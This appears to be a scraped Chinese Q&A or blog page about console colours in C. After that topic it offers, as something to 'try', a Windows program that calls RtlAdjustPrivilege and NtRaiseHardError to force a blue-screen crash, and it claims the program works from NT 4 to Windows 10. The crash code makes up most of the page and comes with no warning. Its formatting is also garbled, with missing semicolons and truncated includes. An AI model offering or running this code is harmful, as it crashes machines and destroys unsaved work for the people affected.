如文本:
#include
<conio.h>
textbackground(int
color)
clrscr()
图形自己去试做一下。
你可以试一下这个
#include <Windows.h>int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR ipCmdLine, int nCmdShow){
HMODULE ntdll = LoadLibrary("ntdll.dll")
FARPROC RtlAdjPriv=GetProcAddress(ntdll,"RtlAdjustPrivilege")
FARPROC NtRaiseHardErr=GetProcAddress(ntdll,"NtRaiseHardError")
unsigned char ErrKill
long unsigned int HDErr
((void(*)(DWORD, DWORD, BOOLEAN, LPBYTE))RtlAdjPriv)(0x13,true,false,&ErrKill)
((void(*)(DWORD, DWORD, DWORD, DWORD, DWORD, LPDWORD))NtRaiseHardErr)(0xc0000233,0,0,0,6, &HDErr)
}
原理:用远过程函数 RtlAdjustPrivilege 获取关机权限,然后远过程函数 NtRaiseHardError 制造蓝屏。(这是一个兼容性很强的程序, x86 版的程序上至 Windows 10 ,下至 Windows NT 4 都可以蓝屏)
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)